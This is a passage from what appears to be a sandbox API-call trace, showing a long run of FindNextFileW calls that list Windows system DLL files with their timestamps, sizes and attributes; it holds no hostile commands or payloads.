ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a972bdb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="bitsperf.dll", cAlternateFileName="")) returned 1 [0165.687] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc757d6b0, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc757d6b0, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81d5fdb0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="bitsprx2.dll", cAlternateFileName="")) returned 1 [0165.687] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc74befd5, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc74befd5, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81d847a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="bitsprx3.dll", cAlternateFileName="")) returned 1 [0165.687] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7afe96b, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc7afe96b, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81d847a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="bitsprx4.dll", cAlternateFileName="")) returned 1 [0165.687] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc89b9128, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc89b9128, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81dab8a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="bitsprx5.dll", cAlternateFileName="")) returned 1 [0165.687] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc91e7c91, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc91e7c91, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81dd29a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="bitsprx6.dll", cAlternateFileName="")) returned 1 [0165.687] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4251183, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb4251183, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb4251183, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb5800, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="blackbox.dll", cAlternateFileName="")) returned 1 [0165.687] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x325b7bbf, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x325b7bbf, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x14b259e0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x5450, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="BOOTVID.DLL", cAlternateFileName="")) returned 1 [0165.687] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d4c7c82, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d4c7c82, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d4edde3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="browcli.dll", cAlternateFileName="")) returned 1 [0165.687] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a679055, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a679055, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a679055, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="browseui.dll", cAlternateFileName="")) returned 1 [0165.688] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03c839e, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xf03c839e, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0x827c9df0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x10400, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="btpanui.dll", cAlternateFileName="")) returned 1 [0165.688] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a34e9a7, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8a34e9a7, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x827c9df0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfa00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="BWContextHandler.dll", cAlternateFileName="")) returned 1 [0165.688] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8731ad6b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8731ad6b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x827ee7e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="BWUnpairElevated.dll", cAlternateFileName="")) returned 1 [0165.688] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a2e6f4f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a2e6f4f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a30d0af, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11e00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="cabinet.dll", cAlternateFileName="")) returned 1 [0165.688] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a2c0def, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a2c0def, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a2c0def, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x20600, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="cabview.dll", cAlternateFileName="")) returned 1 [0165.688] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe154e3d9, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe154e3d9, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x829926a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xbc00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="capiprovider.dll", cAlternateFileName="")) returned 1 [0165.688] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f291a9a, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3f291a9a, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x829b97a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4e00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="capisp.dll", cAlternateFileName="")) returned 1 [0165.688] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf27d7f7, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xdf27d7f7, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x82a50d80, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6da00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="catsrv.dll", cAlternateFileName="")) returned 1 [0165.688] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd26f844f, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xd26f844f, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x82a50d80, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="catsrvps.dll", cAlternateFileName="")) returned 1 [0165.688] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe18df9b5, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xe18df9b5, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x82a50d80, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x77200, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="catsrvut.dll", cAlternateFileName="")) returned 1 [0165.688] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3ca9d39, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3ca9d39, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3ccfe99, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10400, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="cca.dll", cAlternateFileName="")) returned 1 [0165.688] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ebf32f5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ebf32f5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ec19456, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xc4a00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="cdosys.dll", cAlternateFileName="")) returned 1 [0165.688] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92e99b70, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92e99b70, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92ebfcd0, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x53800, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="certcli.dll", cAlternateFileName="")) returned 1 [0165.688] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b996d79, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3b996d79, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x82dbd4f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1e000, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="certCredProvider.dll", cAlternateFileName="")) returned 1 [0165.688] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e1331d6, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x4e1331d6, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x82e08fe0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="certenc.dll", cAlternateFileName="")) returned 1 [0165.688] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b374845, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9b374845, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9b39a9a5, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x145c00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="CertEnroll.dll", cAlternateFileName="")) returned 1 [0165.688] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x587d3176, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x587d3176, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x82e08fe0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x42600, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="CertEnrollUI.dll", cAlternateFileName="")) returned 1 [0165.688] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83483244, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83483244, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x834a93a4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x17bc00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="certmgr.dll", cAlternateFileName="")) returned 1 [0165.688] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92abb7a9, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92abb7a9, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92abb7a9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xfe00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="CertPolEng.dll", cAlternateFileName="")) returned 1 [0165.688] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf69d5a18, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xf69d5a18, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x83683670, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x33600, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="cewmdm.dll", cAlternateFileName="")) returned 1 [0165.688] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x582c16a8, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x582c16a8, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x83683670, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xbe00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="cfgbkend.dll", cAlternateFileName="")) returned 1 [0165.688] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f01d97d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f01d97d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f01d97d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23a00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="cfgmgr32.dll", cAlternateFileName="")) returned 1 [0165.688] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa78861e5, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xa78861e5, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x975560e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x198400, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="chsbrkr.dll", cAlternateFileName="")) returned 1 [0165.689] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa83625fc, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xa83625fc, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x975560e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5d2000, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="chtbrkr.dll", cAlternateFileName="")) returned 1 [0165.689] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bf222e7, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x4bf222e7, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x83f24e00, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="CHxReadingStringIME.dll", cAlternateFileName="")) returned 1 [0165.689] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc23aa496, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc23aa496, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x83fbc3e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a200, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="cic.dll", cAlternateFileName="")) returned 1 [0165.689] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8a9ef7a, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xc8a9ef7a, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8426a470, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="clb.dll", cAlternateFileName="")) returned 1 [0165.689] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe661614e, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xe661614e, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x8426a470, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x7f800, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="clbcatq.dll", cAlternateFileName="")) returned 1 [0165.689] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35259713, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x35259713, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8426a470, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe600, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="clfsw32.dll", cAlternateFileName="")) returned 1 [0165.689] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbee174b6, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xbee174b6, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x842b5f60, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15000, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="cliconfg.dll", cAlternateFileName="")) returned 1 [0165.689] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92bec2ab, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92bec2ab, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92c1240c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x38600, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="clusapi.dll", cAlternateFileName="")) returned 1 [0165.689] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38fecc6d, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x38fecc6d, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x845fdce0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="cmcfg32.dll", cAlternateFileName="")) returned 1 [0165.689] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a9a99a0, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x3a9a99a0, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8466e1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x76400, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="cmdial32.dll", cAlternateFileName="")) returned 1 [0165.689] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe6d2724, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xfe6d2724, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8466e1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfc00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="cmicryptinstall.dll", cAlternateFileName="")) returned 1 [0165.689] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74bcbee, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x74bcbee, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8466e1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x10c00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="cmifw.dll", cAlternateFileName="")) returned 1 [0165.689] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f457, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x8f457, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x8466e1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4a600, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="cmipnpinstall.dll", cAlternateFileName="")) returned 1 [0165.689] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38f08433, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x38f08433, ftLastAccessTime.dwHighDateTime=0x1ca0415, 